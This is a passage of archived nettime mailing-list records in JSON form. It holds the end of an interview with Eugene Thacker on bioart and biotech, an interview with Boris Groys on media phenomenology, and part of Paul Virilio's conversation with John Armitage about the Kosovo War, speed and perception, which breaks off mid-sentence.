between those two\ngroups. For instance in that panel nobody from the biotech panel brought\nup art. Nobody even said that it was important, even as lip service. It\nwas totally absent from the discussion. There was no communication to\nbegin with, so that recuperation could happen. It is happening in a much\nmore silent way. The way it was happening was through the funding of the\nexhibit and then it's location in the safe space of the gallery. There\nare a lot of difficult challenges that are going to come up in\ncollaborative instances of art that is critiquing biotech. It might be\nthat it ends up in the same position as certain forms of bioactivism end\nup: people crying and whining about something. The science community\nalways feels threatened by that because it is very oppositional. So it\nis a risk to work on this in art, but maybe one way of working is\nbreaking down those boundaries and saying that in some instances you\nneed to take an oppositional stance and confront issues. In other\ninstances it is a lot more complicated then that. The willingness to do\nthat, the risk of maybe compromising certain traditions or positions\nseems to me worth doing.\n\n-\n\nEugene Thacker\ne: maldoror {AT} eden.rutgers.edu\nw: http://gsa.rutgers.edu/maldoror/index.html\nPgrm. in Comparative Literature, Rutgers Univ.\n\nCURRENT:\n\"Strength of Binding between Ultrahigh Molecular \nMass Polyethylene-Hydroxylapatite Composites\nusing 3D Spring Lattice Models\"  {AT}  DIAGRAM\n<http://www.thediagram.com>\n\n\"Molecules That Matter: Nanomedicine & the\nAdvent of Programmable Matter\"  {AT}  nettime: \n<http://www.nettime.org>.\n\n\"Regenerative Medicine: We Can Grow It For\nYou Wholesale\"  {AT}  Machine Times (DEAF_00,\nV2 book, http://www.v2.nl/deaf)\n\n\"The Post-Genomic Era Has Already Happened\"\n {AT}  Biopolicy Journal <http://bioline.bdt.org.br/py>\n\u0179\u0179\u0179\u0179\u0179\u0179\u0179\u0179\u0179\u0179\u0179\u0179\u0179\u0179\u0179\u0179\u0179\u0179\u0179\u0179\u0179\u0179\u0179\u0179\u0179\u0179\u0179\u0179\u0179\u0179\u0179\u0179\u0179\u0179\u0179\nalso:\nFAKESHOP <http://www.fakeshop.com>\n\u0179\u0179\u0179\u0179\u0179\u0179\u0179\u0179\u0179\u0179\u0179\u0179\u0179\u0179\u0179\u0179\u0179\u0179\u0179\u0179\u0179\u0179\u0179\u0179\u0179\u0179\u0179\u0179\u0179\u0179\u0179\u0179\u0179\u0179\u0179\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                "date": "Fri, 30 Mar 2001 09:25:58 +0200",
                "to": "nettime-l {AT} bbs.thing.net, list {AT} rhizome.org",
                "message-id": "200103301845.NAA21460 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0103/msg00175.html",
                "list": "nettime_l",
                "author_name": "Josephine Bosma",
                "subject": "<nettime> interview with Eugene Thacker"
            },
            {
                "content-type": "text/plai",
                "from": "\"geert lovink\" <geert {AT} xs4all.nl>",
                "id": "00036",
                "content": "\nInterview with Boris Groys, German Art Critic and Media Theorist\n\nArt critic Boris Groys is teaching philosophy and aesthetics on the School\nfor Design Karlsruhe, Germany. Amongst his books,  all in German, are\nGesamtkunstwerk Stalin (1988), Die Kunst des Fliehens (together with Ilya\nKabakow, 1991), Ueber das Neue (1992), Die Erfindung Russlands (1995) and\nDie Logik der Sammlung (1997). The following e-mail exchange took place in\nresponse to Groys' latest work titled \"Under Suspicion - A Phenomenology of\nthe Media\" which came out early this year.\n\nGL: Strategies for cultural and artistic production, in your view, seem to\ngo in circles. All forms of expression, media and esthetic experiments have\nbeen polluted, corrupted, played out. The pressure of globalization, to join\nthe free flow of opinions, styles and meaning is high. There is no other\noption than to join the info market. In opposition, you have proposed to\npose the media ontological question. The overall presence of empty\nsignifiers is flattening all creative or subversive efforts and one of the\nfew strategies left you suggest is to question what is behind the world of\nthe spectacle. Wouldn't it be better to remain silent and disappear\naltogether? In your analysis, all imaginable answers seem to be caught\nwithin the system. There is nothing left which cannot be deconstructed. Not\neven Boris Groys. If neither elitist avant-gardism nor cultural populism\nshow us a way out, what does? Should your readers give up all hope and\nsurrender to good old European negativism?\n\nBG: You are probably right: it is better to remain silent. But,\nunfortunately, there is such a thing as curiosity. And I am, personally,\nalways very curious about the things happening around. And in the first\nplace: about how and why the cultural phenomena like theories, art\nmovements, certain fashions are emerging, moving, spreading around - and\ndisappearing. The question is not: Are they good or bad? Or: Are they true\nor false? But, rather: Why are these cultural phenomena present in the\nsocial space at a certain point in time?\nIt is being said that cultural products are spreading because \"people\" like\nthem. Or, they say: The cultural products are reaching mass circulation\nbecause there is some power, money and influence behind them. But it is also\npossible to say that certain cultural products are  multiplying and\nspreading merely because of their viral nature. It is also possible to say\nthat the fate of cultural phenomena is determined by history, by being, by\nlanguage, by writing and so on. Or, it is possible to develop a  sociology\nof culture as represented, for example, by Bourdieu. But all these theories\nand explanations are themselves also cultural phenomena. So we still have to\nask ourselves: how and why these explanations are spreading in their turn?\nIt seems to me that some cultural phenomena are spreading around precisely\nbecause the people believe - in one way or another - that these phenomena\nare not just phenomena but that they give a deeper insight in the space and\nin the interplay of forces behind the scene. If a cultural product is in\ncirculation, it is already an explanation in itself. And if this cultural\nproduct is not getting any distribution, then there is nothing to explain.\nThis is why I do not try to formulate a new explanation. I am trying to\ndescribe the conditions under which some phenomena thrive, as explanations\nof their own cultural success.\n\nGL: The subtitle of your latest book is \"A Phenomenology of the Media\". I\nwas surprised to read that you are working towards a philosophical program\nfor the media, in rather traditional terms. You do not touch upon new\nfashioned topics such as trans-humanism, trans-gender or any body-machine\nmatter. Which role do you see for the traditional discipline of philosophy?\nShould reading of classics be encouraged or would you rather push new forms\nof cultural criticism, which are not so concerned with the rewriting of the\nfew dead white male thinkers?\n\nBG: The word \"phenomenology\" in the title of my book means only that I do\nnot attempt to give any new, different, personal, additional kind of\ntheoretical, scientific explanation of why certain cultural movements are\nspreading. Instead, I try to show that every cultural product is an\nexplanation of its own presence and multiplication in the first place. So I\npractice some philosophical, phenomenological epoch. It is a very\ntraditional gesture, indeed. But this gesture seems to me to be most\nappropriate for the investigation of the cultural movements in the open\nspace. Until recently I was preoccupied with the processes taking place in\nclosed spaces like the museum. In that case, it is possible to formulate a\ntheory because there is a institutionally secured position for the external\nobserver of the cultural processes. In open spaces, there is no such secured\nposition. This is why the phenomenological epoch becomes necessary. It is a\nway to introduce a position of a spectator into a field where this position\nis not given from the beginning.\nTopics like trans-humanism, trans-gender or body-machine do not interest me\nin this particular context because these discourses believe to have answered\nthe question \"What is behind being human\" in a very traditional way of\n\"crossing the borders\" between the human and non-human. That is, of course,\nO.K. But the question of the spectator remains open here. Is this spectator\nhuman, or non-human, or placed beyond this opposition? And in any of these\ncases - how does this spectator knows about his or her own position in\nrelationship to this opposition between human and non-human? The only way to\nknow such things is to believe in your own theoretical discourse. But I\ncannot believe in my own theoretical discourse - and I also cannot believe\nin any other theoretical discourse. So the only way for me is just to\ninvestigate why, how and under which conditions other people believe in\nvarious theoretical discourses.\n\nGL: Tell us more! How then do you write a sentence, or make a statement in\npublic, if you do not half way except it, at least as a temporary thesis?\nBringing up an idea does not automatically mean that it is turned into a\nhermetic belief system.\n\n BG: Of course, if somebody says and writes something it can always be seen\nas a thesis. But, in reality, it is not always effectively seen in such a\nway: Very often the people just don't react, just don't take you seriously,\njust  don't see that there is a thesis. So I am interested in the question:\nWhat  does make somebody's thesis to look like a thesis? My guess is that\nyou have to propose some insight, something which \"goes deep into the heart\nof the matter\" to be taken seriously. Or, to put it in another way, your\ndiscourse has to conform to the certain expectations, having to do with the\nphenomenology of suspicion, e.g. with the wish on the side of the reader \"to\ngo deeper\", to \"get an insight\". By the way: If my discourse would\neventually turn to be a hermetic belief system for a greater public, I would\nhave nothing against it. Rather, I would find it very flattering.\n\nGL: Could you explain the title of the book? For me, personally, \"Under\nSuspicion\" has a somewhat dark, continental European connotation. You are\nstating that it is the Other and its subjectivity which makes us suspicious.\nWhy is the Other associated with danger and a possible crime? You are\nrejecting the \"atheist\" position that the world merely exists of empty\nsigns, with nothing behind the profane space of the media. Why does this\nattitude results in paranoia, and not in curiosity? Suspicious of what?\nLooks like a weird mixture of Calvinist and Stalinist culture of guilt to\nme. Catholicism during the times of the Inquisition. Or the cult inside\ncertain leftist circles, where every act or expression is seen as being in\nimmediate danger of being appropriated by the System.\n\nBG: Actually, I wanted that the title of my book should remind the reader of\nthe  crime fiction, Hitchcock movies or spectacular journalistic\ninvestigations. Our media always try to bring an \"inside story\", to allow us\nto look behind the scene, to show us the places where \"the fate of the world\nis determined\". This is the context that is interesting to me - not so much\nCatholicism and Stalinism. But, of course, religious or leftist, or, for\nthat matter, also rightist conspiracy theories are also relevant in this\ncontext. And the atheism? The atheist believes that there is nothing behind\nthe signs. That is O.K. But for me atheism is merely one religion among many\nothers.\n\nGL: I understand. Everything is ideology. There is no science. Facts don't\nexist. But which crime has been committed? I agree with you that the method\nof deconstruction is based on the implicit presumption of a committed crime.\nI like the idea of the media critic/theorist as a private investigator. A\nfact is, though, that most media and communication students are not trained\nto do this job. Media studies, as well as media art, are primarily focussing\non the (historical) structures of media technologies and its ever changing\nplatforms and standards. Information equals noise, that's the consensus. Who\nis doing qualitative content analysis, apart from a few linguists, activists\nand investigative journalists?\n\nBG: That is precisely the point that I tried to make in my book. The\ntechnological characteristics of the media bearers, like TV, Computer,\nInternet etc., are taken generally as a completely satisfactory explanation\nof what the media are. This faith in the technical know- how is produced in\nthe people's mind by a combination of a very naive interpretation of the\nMcLuhans \"The media is the message\" with a very naive interpretation of\nSaussurian \"the language precedes every individual speech act\". But how do\nwe know a priori what can be said? We have to explore, to investigate, to\nuse TV, Computer or Internet to find out what their medial possibilities\nare. We can only know post factum how a certain media operate - and only in\na very preliminary, incomplete way. The technical description a priori does\nnot tell us anything meaningful about it. Nam Jun Paik used TV in a very\nidiosyncratic way - not as it is \"technically\" supposed to be used. And that\nis why his work is so instructive. But I must confess here that my book was\nseverely criticized by almost all its reviewers precisely for \"concealing\nthe fact\" that the public already very well knows how the inner core of the\nmedia looks like - because it has all the technical instructions how to use\nthe computer, Internet etc.\n\nGL: For decades now, cultural studies have emphasizing the \"construction\"\naspect of news, information, images. They neither represent Truth, nor are\nsolely made with the purpose to fool its audience. Media analyses are much\ncomplex these days, and so is the perception of the audience. Do you see the\nplayful strategies of irony, difference, and multi layered meanings and\ninterests as a useless, failed project? Your statement that media are, in\nessence, always lying looks to me as a somewhat populist, regressive step\nback. Perhaps the cultural studies discourse has not yet been success\nenough? Or at least in your circles, on the European continent?\n\nBG: Well, it is not so important for me if the media are lying about the\n\"reality\" or not. Let us suppose that they are telling the Truth, only\nTruth - and nothing beyond the Truth. Also in this case, they are still\nconcealing how they do it - how they tell the truth. Every truth presupposes\na scene of its appearance - and conceals this scene at the same time. The\n\"constructivist\" theory is incredibly naive because even if it does not\nbelieve any more in the accessibility of the world outside us it still\nbelieves in the possibility to explain how we construct the truth about the\nworld. But that is precisely the problem: We have neither access to the\nworld nor to our own construction of the world. We don't know and we can not\nknow how we construct the world. Of course, we know - at least since\nMagritte - that a painted apple is not a real apple. I guess that is what\nyou mean speaking about irony, difference and cultural studies. The problem\nis only that we still don't know what is the painted apple per se. Magritte,\nC\u00e9zanne and many others tried to clarify that but they failed. My book is\nnot about the relationship of the painted apple to the real apple. My book\nis about the relationship of the painted apple to the painting. And the book\nstates that this relationship is and must remain forever unclear - even if\nwe know what the \"painting technique\" is.\n\nGL: In your previous, brilliant work, \"On the New\" you have described the\nway in which new ideas and concepts are being developed and launched. \"Under\nSuspicion\" could be read as a follow-up. Have you indeed developed \"new\"\nideas about the laws of cultural production, if I may ask?\n\nBG: Our cultural space has a complicated topology: there are closed spaces,\nopen spaces and mixed spaces. In my book \"On the New\" I tried to describe\nhow the closed spaces, like museum, library, university, are functioning.\nBeing caught in the closed space, the people are interested in the open\nspaces - in crossing the borders, breaking the rules, discovering the new.\nBut being  left in the open spaces, the people get more interested in the\nclosed spaces - in getting the insight, discovering the hidden, getting the\naccess to the forbidden. The closed spaces are the spaces of curiosity\ndirected to the outside. The open spaces are the spaces of suspicion\ndirected to the hidden inside. The insider is curious, the outsider is\nsuspicious. In our mixed reality, we are, of course, both because we are\nalways insiders as well as outsiders.\n\nGL: New media, for example, can easily be deconstructed as a repetition of\nthe same old mechanisms. Still there is a lot of excitement, debates, and\nnot to forget economic opportunities for a great deal more people than\npreviously employed in the old media (and arts) sector.\n\nBG: Well, but my question is: How are these old mechanisms look like? It\nseems to me that the people working in the media - people like you and me -\nare, as I said, insiders and outsiders at the same time. Now, the things are\nmoving all the time and, therefore, we are also changing our places all the\ntime - yesterday we were insiders in one respect, today we are outsiders in\nthe same respect, but maybe insiders in some other aspect - and tomorrow?\nWho knows. But this permanent topological change of our cultural space seems\nto me to be the reason for the permanent activity you are speaking about.\nEvery morning we wake up on a different place in the cultural space because\nthis space somehow moved overnight. And, of course, it makes us nervous.\n\nGL: Anxious too, perhaps? Change as a danger, not a challenge? One can even\nget used to permanent change, I suppose. Our globe is indeed going through\nrapid, radical transformations. For example, one can easily accept, and deal\nwith the fact that the nature of media these days is lying in their ability\nto (digitally) manipulate. There is no \"natural\" image anymore. All\ninformation has gone through the process of digitization. We just have to\ndeal with the fact that we can no longer believe our eyes, our ears.\nEveryone who has worked with a computer will know this.\n\nBG: I think I am not so much anxious about what I am looking at. I am rather\namused by that. And, of course, looking at the things around me, I am not so\nmuch interested if they are true or not. And I feel no angst about them. And\nI am very little interested in the \"real\". Actually, I am only anxious about\nhow other people look at me. And if I speak about the changing world, I\ndoesn't mean the spectacle of permanent change taking place before my eyes.\nI am perfectly comfortable about this kind of spectacle. But I am not so\nmuch comfortable about the possible change of my own position in the eyes of\nthe others. Am I still insider? Or have I already became an outsider? I\nguess it is just the inner voice of my Jewish ancestry: The way the others\nlook at you is changing permanently - and this change may be dangerous.\n\nBoris Groys, Unter Verdacht, Eine Phaenomenolgie der Medien, Hanser Verlag,\nMuenchen, 2000.\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                "date": "Wed, 4 Oct 2000 11:48:48 +1000",
                "to": "\"Nettime\" <nettime-l {AT} bbs.thing.net>",
                "message-id": "200010040622.CAA16034 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0010/msg00036.html",
                "list": "nettime_l",
                "author_name": "geert lovink",
                "subject": "<nettime> Interview with Boris Groys"
            },
            {
                "id": "00203",
                "content": "Article 89 - CTHEORY Interview with Paul Virilio\n\n _____________________________________________________________________\n CTHEORY         THEORY, TECHNOLOGY AND CULTURE         VOL 23, NO 3\n\n Article 89      18-10-00        Editors: Arthur and Marilouise Kroker\n _____________________________________________________________________\n\n CTHEORY Interview with Paul Virilio:\n The Kosovo War Took Place in Orbital Space\n ==========================================\n\n ~Paulo Virilio in Conversation with John Armitage~\n ~Translated by Patrice Riemens~\n ---------------------------------------------------\n\n Paul Virilio is a renowned urbanist, political theorist and critic of\n the art of technology. Born in Paris in 1932, Virilio is best known\n for his 'war model' of the growth of the modern city and the\n evolution of human society. He is also the inventor of the term\n 'dromology' or the logic of speed. Identified with the phenomenology\n of Merleau-Ponty, the futurism of Marinetti and technoscientific\n writings of Einstein, Virilio's intellectual outlook can usefully be\n compared to contemporary architects, philosophers and cultural\n critics such as Bernard Tschumi, Gilles Deleuze and Jean Baudrillard.\n Virilio is the author, among other books, of _Bunker Archeology_\n (1994 [1975]), _Speed & Politics: An Essay on Dromology_ (1986\n [1977]), _The Information Bomb_ (2000 [1998]) and, most recently,\n _Strategie de la deception_ (1999). His analysis of the Kosovo War is\n the subject of his conversation with John Armitage below.\n\n *John Armitage*: Professor Virilio, to what extent does your\n intellectual and artistic work on the architecture of war, and\n architecture more generally, inform your thinking in _Strategie de la\n deception_?  Is it the case that, in common with other so-called\n 'postmodern' wars, such as the Persian Gulf War in 1991, the\n architecture of war, along with architecture itself, is\n 'disappearing'? How did you approach the question of the architecture\n of war and its disappearance in _Strategie de la deception_?\n\n *Paul Virilio*: Well, let me put it this way, I have always been\n interested in the architecture of war, as can be seen in _Bunker\n Archeology_. However, at the time that I did the research for that\n book, I was very young. My aim was to understand the notion of 'Total\n War'. As I have said many times before, I was among the first people\n to experience the German Occupation of France during the Second World\n War. I was 7-13 years old during the War and did not really\n internalise its significance. More specifically, under the\n Occupation, we in Nantes were denied access to the coast of the\n Atlantic Ocean. It was therefore not until after the War was over\n that I saw the sea for the first time, in the vicinity of St Nazaire.\n It was there that I discovered the bunkers. But what I also\n discovered was that, during the War, the whole of Europe had become a\n fortress. And thus I saw to what extent an immense territory, a whole\n continent, had effectively been reorganised into one city, and just\n like the cities of old. From that moment on, I became more interested\n in urban matters, in logistics, in the organisation of transport, in\n maintenance and supplies.\n\n But what is so astonishing about the war in Kosovo for me is that it\n was a war that totally bypassed territorial space. It was a war that\n took place almost entirely in the air. There were hardly any Allied\n armed personnel on the ground. There was, for example, no real state\n of siege and practically no blockade. However, may I remind you that\n France and Germany were opposed to a maritime blockade of the\n Adriatic Sea without a mandate from the United Nations (UN). So, what\n we witnessed in Kosovo was an extraordinary war, a war waged solely\n with bombs from the air. What happened in Kosovo was the exact\n reversal of what happened in 'Fortress Europe' in 1943-45. Let me\n explain. Air Marshall 'Bomber' Harris used to say that 'Fortress\n Europe' was a fortress without a roof, since the Allies had air\n supremacy. Now, if we look at the Kosovo War, what do we see? We see\n a fortress without walls - but with a roof! Isn't that disappearance\n extraordinary?!\n\n *John Armitage*: Let's talk about your theoretical efforts to\n understand and interpret the Kosovo war in _Strategie de la\n deception_. Is the campaign in the air the only important element\n that other theorists should pay attention to?\n\n *Paul Virilio*: Let me emphasise the following points about the\n Kosovo War. First, while the United States (US) can view the war as a\n success, Europe must see it as a failure for it and, in particular,\n for the institutions of the European Union (EU). For the US, the\n Kosovo War was a success because it encouraged the development of the\n Pentagon's 'Revolution in Military Affairs' (RMA). The war provided a\n test site for experimentation, and paved the way for emergence of\n what I call in _Strategie de la deception_ 'the second deterrence'.\n It is, therefore, my firm belief that the US is currently seeking to\n revert to the position it held after the triggering of atomic bombs\n at Hiroshima and Nagasaki in the 1940s, when the US was the sole\n nuclear power. And here I repeat what I suggest in my book. The first\n deterrence, nuclear deterrence, is presently being superseded by the\n second deterrence: a type of deterrence based on what I call 'the\n information bomb' associated with the new weaponry of information and\n communications technologies. Thus, in the very near future, and I\n stress this important point, ~it will no longer be war that is the\n continuation of politics by other means, it will be what I have\n dubbed 'the integral accident'~ that is the continuation of politics\n by other means. The automation of warfare has, then, come a long way\n since the Persian Gulf War of 1991. Needless to say, none of these\n developments will help the plight of the refugees in Kosovo or stop\n the actions of the militias operating there. However, the automation\n of warfare will allow for the continuation not only of war in the air\n but also of the further development of the Pentagon's RMA in the form\n of 'Global Information Dominance' (GID) and 'Global Air Power' (GAP).\n It is for these reasons that, in my new book, I focus for example on\n the use of the 'graphite bomb' to shut off the Serbian electricity\n supply as well as the cutting off of the service provision to Serbia\n of the EuTelSat television satellite by the EU. And, let me remind\n you that the latter action was carried out against the explicit\n wishes of the UN. To my mind, therefore, the integral accident, the\n automation of warfare, and the RMA are all part of the shift towards\n the second deterrence and the explosion of the information bomb. For\n me, these developments are revolutionary because, today, the age of\n the locally situated bomb such as the atomic bomb has passed. The\n atomic bomb provoked a ~specific~ accident. But the information bomb\n gives rise to the integral and ~globally constituted accident~. The\n globally constituted accident can be compared to what people who work\n at the stock exchange call 'systemic risk'. And, of course, we have\n already seen some instances of systemic risk in recent times in the\n Asian financial crisis. But what sparked off the Asian financial\n crisis? Automated trading programmes! Here, then, we meet again the\n problems I noted in earlier works with regard to interactivity.\n Moreover, it is clear that the era of the information bomb, the era\n of aerial warfare, the era of the RMA and global surveillance is also\n the era of ~the integral accident~. 'Cyberwar' has nothing to do with\n the destruction brought about by bombs and grenades and so on. It is\n specifically linked to the information systems of life itself. It is\n in this sense that, as I have said many times before, interactivity\n is the equivalent of radioactivity. For interactivity effects a kind\n of disintegration, a kind of ~rupture~. For me, the Asian financial\n crisis of 1998 and the war in Kosovo in 1999 are the prelude to the\n integral accident.\n\n *John Armitage*: How does your description above of the chief\n theoretical aspects of the Kosovo War map on to the important themes\n of your previous writings? I would like to start by charting your\n theoretical and architectural interest in questions concerning the\n two concepts of military space and the organization of territory. For\n example, even your earliest research  -- into the 'Atlantic Wall' in\n the 1950s and 1960s -- was founded on these two concepts. However,\n before we discuss _Strategie de la deception_ and the war in Kosovo\n in some detail, could you explain first of all what you mean by\n military space and the organization of territory and why these\n concepts are so important for an understanding of your work?\n\n *Paul Virilio*: These concepts are important quite simply because I\n am an urbanist. Thus the whole of my work is focused on geopolitics\n and geostrategy. However, a second aspect of my work is movement.\n This, of course, I pursue through my research on speed and on my\n study of the organisation of the revolution of the means of\n transportation. For me, then, territory and movement are linked. For\n instance, territory is controlled by the movements of horsemen, of\n tanks, of planes, and so on. Thus my research on dromology, on the\n logic and impact of speed, necessarily implies the study of the\n organisation of territory. Whoever controls the territory possesses\n it. Possession of territory is not primarily about laws and\n contracts, but first and foremost a matter of movement and\n circulation. Hence I am always concerned with ideas of territory and\n movement. Indeed, my first book after _Bunker Archeology_ was\n entitled _L'insecurite du territoire_ (1976).\n\n *John Armitage*: In _Speed & Politics: An Essay on Dromology_, you\n write of the military and political revolution in transportation and\n information transmission. Indeed, for you, the speed of the\n military-industrial complex is the driving force of cultural and\n social development, or, as you put it in the book, 'history\n progresses at the speed of its weapons systems'. In what ways do you\n think that speed politics played a role in the military and political\n conflict in Kosovo? For instance, was the speed of transportation and\n information transmission the most important factor in the war? Or,\n more generally, for you, is the military-industrial complex still the\n motor of history?\n\n *Paul Virilio*: I believe that the military-industrial complex is\n more important than ever. This is because the war in Kosovo gave\n fresh impetus not to the military-industrial complex but to the\n military-~scientific~ complex. You can see this in China. You can\n also see it in Russia with its development of stealth planes and\n other very sophisticated military machines. I am of course thinking\n here about new planes such as the ~Sukhois~. There is very little\n discussion about such developments but, for me, I am constantly\n astonished by the current developments within the Russian airforce.\n And, despite the economic disaster that is Russia, there are still\n air shows taking place in the country. For these reasons, then, I\n believe that the politics of intervention and the Kosovo war prompted\n a fresh resumption of the arms race worldwide. However, this\n situation has arisen because the sovereignty of the state is no\n longer accepted. This is also why we are witnessing states rushing\n forward in order to safeguard themselves against an intervention\n similar to the one that took place in Kosovo. This is one of the most\n disturbing, if indirect, aspects of the war in Kosovo and one that I\n discuss at length in my new book. Of course, one of the most\n disturbing features is the fact that while we have had roughly a ten\n year pause in the arms race where a lot of good work was done, this\n has now come to an end. For what we are seeing at the present time\n are new developments in anti-missile weaponry, drones, and so on.\n Thus, some of the most dramatic consequences of the Kosovo war are\n linked to the resumption of the arms race and the suicidal political\n and economic policies of countries like India and Pakistan where tons\n of money are currently being spent on atomic weaponry. This is\n abhorrent!\n\n *John Armitage*: Before we turn to consider the aesthetic aspects of\n the 'disappearance' of military space and the organisation of\n territory in Kosovo, I would like to ask why it was that in the late\n 1970s and early 1980s you first began to consider the technological\n aspects of these phenomena? What was it that prompted you to focus on\n the technological aspects at that time?\n\n *Paul Virilio*: Because it was from that time onwards that ~real time\n superseded real space!~ Today, almost all-current technologies put\n the speed of light to work. And, as you know, here we are not only\n talking about information at a distance but also operation at a\n distance, or, the possibility to act instantaneously, from afar. For\n example, the RMA ~begins~ with the application of the speed of light.\n This means that history is now rushing headlong into the wall of\n time. As I have said many times before, ~the speed of light does not\n merely transform the world. It becomes the world. Globalisation is\n the speed of light. And it is nothing else!~ Globalisation cannot\n take shape without the speed of light. In this way, history now\n inscribes itself in real time, in the 'live', in the realm of\n interactivity. Consequently, history no longer resides in the\n extension of territory. Look at the US, look at Russia. Both of these\n countries are immense geographical territories. But, nowadays,\n immense territories amount to nothing! Today, everything is about\n speed and real time. We are no longer concerned with real space.\n Hence not only the crisis of geopolitics and geostrategy but also the\n shift towards the emergence and dominance of ~chronostrategy~. As I\n have been arguing for a long time now, there is a real need not\n simply for a political economy of wealth but also for a political\n economy of speed.\n\n *John Armitage*: But what about the cultural dimensions of\n chronostrategy? For instance, although modernist artists such as\n Marinetti suggested to us that 'war is the highest form of modern\n art', Walter Benjamin warned us against the 'aestheticization' of war\n in his famous essay in _Illuminations_ (1968) on 'The Work of Art in\n the Age of Mechanical Reproduction'. Additionally, in your _The\n Aesthetics of Disappearance_ (1991 [1980]), you make several\n references to the relationship between war and aesthetics. To what\n extent do you think that the Kosovo War can or should be perceived in\n cultural or aesthetic terms?\n\n *Paul Virilio*: First of all, if I have spoken of a link between war\n and aesthetics, it is because there is something I am very interested\n in and that is what Sun Tzu in his ancient Chinese text calls _The\n Art of War_. This is because, for me, war consists of the\n organisation of ~the field of perception~. But war is also, as the\n Japanese call it, 'the art of embellishing death'. And, in this\n sense, the relationship between war and aesthetics is a matter of\n very serious concern. Conversely, one could say that religion -- in\n the broadest sense of the word -- is 'the art of embellishing life'.\n Thus, anything that strives to aestheticise death is profoundly\n tragic. But, nowadays, ~the tragedy of war is mediated through\n technology~. It is no longer mediated through a human being with\n moral responsibilities. It is mediated through the destructive power\n of the atomic bomb, as in Stanley Kubrick's film, ~Dr Strangelove~.\n\n Now, if we turn to the war in Kosovo, what do we find?  We find the\n manipulation of the audience's emotions by the mass media. Today, the\n media handle information as if it was a religious artefact. In this\n way, the media is more concerned with what we feel about the refugees\n and so on rather than what we think about them. Indeed, the truth,\n the reality of the Kosovo War, was actually hidden behind all the\n 'humanitarian' faces. This is a very  different situation from the\n one faced by General Patton and the American army when they first\n encountered the concentration camps at the end of the Second World\n War. Then, it was a total and absolute surprise to find out that what\n was inside the concentration camps was a sea of skeletons. What is\n clear to me, therefore, is that while the tragedy of war grinds on,\n the contemporary aesthetics of the tragedy seem not only confused\n but, in some way, suspicious.\n\n *John Armitage*: Almost inevitably, reviewers will compare _Strategie\n de la deception_ with your earlier works and, in particular, _War and\n Cinema: The Logistics of Perception_ (1989 [1984]). Indeed, the very\n first chapter of the latter book is called 'Military Force is based\n upon Deception'. Could you summarise the most important developments\n that, for you, have taken place in the relationship between war,\n cinema, and deception since you wrote _War and Cinema_?\n\n *Paul Virilio*: For me, Sun Tzu's statement that military force is\n based upon deception is an extraordinary statement. But let us start\n with the title of _War and Cinema_. The important part of the title\n is not _War and Cinema_. It is the subtitle, _The Logistics of\n Perception_. As I said back in 1984, the idea of logistics is not\n only about oil, about ammunitions and supplies but also about images.\n Troops must be fed with ammunition and so on but also with\n information, with images, with visual intelligence. Without these\n elements troops cannot perform their duties properly. This is what is\n meant by the logistics of perception.\n\n Now, if we consider my latest book, _Strategie de la deception_, what\n we need to focus on are the other aspects of the same phenomenon. For\n the strategies of deception are concerned with deceiving an opponent\n through the logistics of perception. But these strategies are not\n merely aimed at the Serbs or the Iraqis but also at all those who\n might support Milosevic or Saddam Hussein. Moreover, such strategies\n are also aimed at deceiving the general public through radio,\n television and so on.\n\n In this way, it seems to me that, since 1984, my book on the\n logistics of perception has been proved totally correct. For\n instance, almost every conflict since then has involved the logistics\n of perception, including the war in Lebanon, where Israel made use of\n cheap drones in order to track Yasser Arafat with the aim of killing\n him. If we look at the Gulf War, the same is also true. Indeed, my\n work on the logistics of perception and the Gulf War was so accurate\n that I was even asked to discuss it with high-ranking French military\n officers. They asked me: 'how is it that you wrote that book in 1984\n and now it's happening for real?' My answer was: 'the problem is not\n mine but yours: you have not been doing your job properly!'\n\n But let us link all this to something that is not discussed very\n often. I am referring here to the impact of the launch of the\n television news service CNN in 1984 or thereabouts. However, what I\n want to draw your attention to is CNN's so-called 'Newshounds'.\n Newshounds are people with mini-video cameras, people who are\n continually taking pictures in the street and sending the tapes in to\n CNN. These Newshounds are a sort of pack of wolves, continually\n looking for quarry, but quarry in the form of images. For example, it\n was this pack of wolves that sparked off the Rodney King affair a few\n years ago in Los Angeles. Let us consider the situation: a person\n videos Rodney King being beaten up by the cops. That person then\n sends in the footage to the TV station. Within hours riots flare up\n in the city! There is, then, a link between the logistics of\n perception, the wars in Lebanon and the Gulf as well as with CNN and\n the Pentagon. But what interests me here is that what starts out as a\n story of a black man being beaten up in the street, a story that,\n unfortunately, happens all the time, everywhere, escalates into\n something that is little short of a war in Los Angeles!\n\n *John Armitage*: In _The Vision Machine_ (1994 [1988]) you were\n concerned with highlighting the role of the military in the\n 'contemporary crisis in perceptive faith' and the 'automation of\n perception' more broadly. Has the Kosovo War led you to modify your\n claims about the role of the military in the contemporary production\n and destruction of automated perception via Cruise missiles,\n so-called 'smart bombs' and so on?\n\n *Paul Virilio*: On the contrary. The development and deployment of\n drones and Cruise missiles involves the continuing development of the\n vision machine. Research on Cruise missiles is intrinsically linked\n to the development of vision machines. The aim, of course, is not\n only to give vision to a machine but, as in the case of the Cruise\n missiles that were aimed at Leningrad and Moscow, also to enable a\n machine to deploy radar readings and pre-programmed maps as it\n follows its course towards its target. Cruise missiles necessarily\n fly low, in order to check on the details of the terrain they are\n flying over. They are equipped with a memory that gives them bearings\n on the terrain. However, when the missiles arrive at their\n destination, they need more subtle vision, in order to choose right\n or left. This, then, is the reason why vision was given to Cruise\n missiles. But in one sense, such missiles are really only flying\n cameras, whose results are interpreted by a computer. This,\n therefore, is what I call 'sightless vision', vision without looking.\n The research on vision machines was mainly conducted at the Stanford\n Research Institute in the US. So, we can say that the events that\n took place in the Kosovo War were a total confirmation of the thesis\n of _The Vision Machine_.\n\n *John Armitage*: Let us turn to vision machines of a different\n variety. To what extent do you think that watching the Kosovo War on\n TV reduced us all to a state of _Polar Inertia_ (1999 [1990]), to the\n status of Howard 